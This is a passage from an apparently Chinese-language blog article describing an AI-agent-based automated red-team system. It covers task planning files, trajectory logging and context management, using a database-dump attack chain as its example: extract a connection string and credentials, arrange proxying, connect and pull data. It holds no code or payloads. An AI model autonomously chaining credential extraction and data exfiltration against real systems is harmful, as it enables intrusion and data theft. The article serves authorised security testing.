class="code-snippet__section">完成标准:返回不超过100行的业务数据样本，且操作日志可追溯、无破坏性</span></span></code><br/><code><span leaf="">---</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们在攻击初期就会基于用户输入的意图来自动化生成上面的演练任务文档，但是我并不会让自动化演练只按照这个任务来去进行执行，我期望他和随机演练那部分尽可能的保持独立，这个task.md其实在我看来更像是一个“路书”，因为在演练期间，执行的对应的信息都会被记录到context.md,相当于实时记录目前所走的“轨迹”。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每当一个节点执行完之后，Agent会将轨迹线路和我们最开始提供的路书来进行提供，判断当前的轨迹有没有基于我们设想的路径来走</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下面是演练期间context.md记录的信息</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031690" alt="image.png" class="rich_pages wxw-img" data-ratio="0.5682656826568265" data-type="png" data-w="2710" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=f086fc1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzpIzWYpm4mhWjiaSlE4Bu2xwrnO6ESjySSB7Kwd6MIy5u5TP4ibcficD2g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果没有根据我们的来走其实没关系，当每个节点执行完之后，Agent会进行介入</span></p><ol style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding: 0px 0px 0px 2em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">阅读</span><code style="box-sizing: border-box;font-family: &#34;YaHei Consolas Hybrid&#34;, Consolas, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Helvetica, monospace, monospace;font-size: 14px;color: rgb(232, 62, 140);overflow-wrap: break-word;padding: 3px;margin: 0px;background: rgb(246, 246, 246);border-radius: 3px;border: 1px solid rgb(221, 221, 221);"><span leaf="">context.md</span></code><span leaf="">和</span><code style="box-sizing: border-box;font-family: &#34;YaHei Consolas Hybrid&#34;, Consolas, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Helvetica, monospace, monospace;font-size: 14px;color: rgb(232, 62, 140);overflow-wrap: break-word;padding: 3px;margin: 0px;background: rgb(246, 246, 246);border-radius: 3px;border: 1px solid rgb(221, 221, 221);"><span leaf="">task.md</span></code><span leaf="">通过比对来判断当前处于哪个阶段，并且AI能够根据描述来去自动寻找插件库</span></p></li></ol><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031688" alt="image.png" class="rich_pages wxw-img" data-ratio="0.26430517711171664" data-type="png" data-w="2936" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=46112f04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzicNmuibR4nvWH6ynPUTPmtqvFb67xVsUGRnfCHTlRPM0c3TOvJJWVzMg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031687" alt="image.png" class="rich_pages wxw-img" data-ratio="0.5797297297297297" data-type="png" data-w="1480" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a9375b81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzsJUwrzyseFSHMc0a3IrcUFX4ibPich0Odmxm6ORfvTGZCXvDAF6Ssoyg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ol style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding: 0px 0px 0px 2em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">对应的下游会消费任务来进行执行，并且将结果重新给到上游来进行判断</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">上游会基于任务中的完成标准来判断当前任务是否执行成功，只有执行成功了才会进行下一阶段的执行</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">如果执行失败了则直接会返回阶段失败</span></p><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;" nodeleaf=""><img data-imgfileid="100031686" alt="image.png" class="rich_pages wxw-img" data-ratio="0.3810810810810811" data-type="png" data-w="1480" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=45010148&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdz1QPWAJ5TAgxticVSIAu35Qr3AhAJ3ssCuOcurJvBfMaJaLo9jlw0XzQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">通过引入攻击意图的方式从而实现能够让自动化演练过程中也能拥有主线，能够根据所导航的目标来进行靠近。</span></p><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">在上一版本的自动化演练中，虽然通过引入了Agent实现了机会主义的探索，但是无法向我们的目标来逼近</span></p></li></ol><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.5 上下文管理</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在我的自动化演练中我的上下文主要分为两部分：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1.基于内存的局部上下文</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2.基于全局的文件持久化上下文</span></p><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.4;font-size: 1.25em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.5.1 局部上下文</span></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">局部上下文主要就是当Agent遇到输入之后当前这一个事件循环中的临时上下文，因为我们只需要处理单次的事件所以上下文篇幅不会很长，在这里上下文的作用就是传递子任务的执行结果</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">还是以拖库为例我们来举个例子：输入的是含有数据库连接串的相关信息</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1.  Task1:提取连接串</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2.  Task2:提取账号密码</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.  Task3:查看数据库联通情况是否需要开启网络代理</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.  Task4:连接数据库进行数据获取</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从上面的任务可以看到其实任务之间其实是环环相扣的，也就是下一个任务的执行所需要的数据是基于上一个任务的输出，所以我们需要将历史任务执行、工具调用的情况都记录在上下文中，以便在后续任务执行的过程中能够顺利的完成</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从下面的图中可以明显的看出上一个任务的输出作为下一个任务的输入</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031689" alt="image.png" class="rich_pages wxw-img" data-ratio="0.2938775510204082" data-type="png" data-w="2940" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=61c839f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzibw9h57976vqs3h3I2dDiaursmaOjAVrD1awJKRGYtaNNg1nRXaTRxqA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时局部上下文也能够让后续执行的subAgent知晓当前任务执行的情况，当输入一个信息后会先经过planagent的规划，规划的任务就会存储到一个变量中</span><code style="box-sizing: border-box;font-family: &#34;YaHei Consolas Hybrid&#34;, Consolas, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Helvetica, monospace, monospace;font-size: 14px;color: rgb(232, 62, 140);overflow-wrap: break-word;padding: 3px;margin: 0px 4px 0px 5px;background: rgb(246, 246, 246);border-radius: 3px;border: 1px solid rgb(221, 221, 221);"><span leaf="">plan:List[str:Any]</span></code></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031691" alt="image.png" class="rich_pages wxw-img" data-ratio="0.43037974683544306" data-type="png" data-w="632" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=e8dab2e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzqd1icwADEkjh0BNzRcnHAxRlWgzXA1AlXO1WR4kCyzbI9RIF0b9wmbw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe 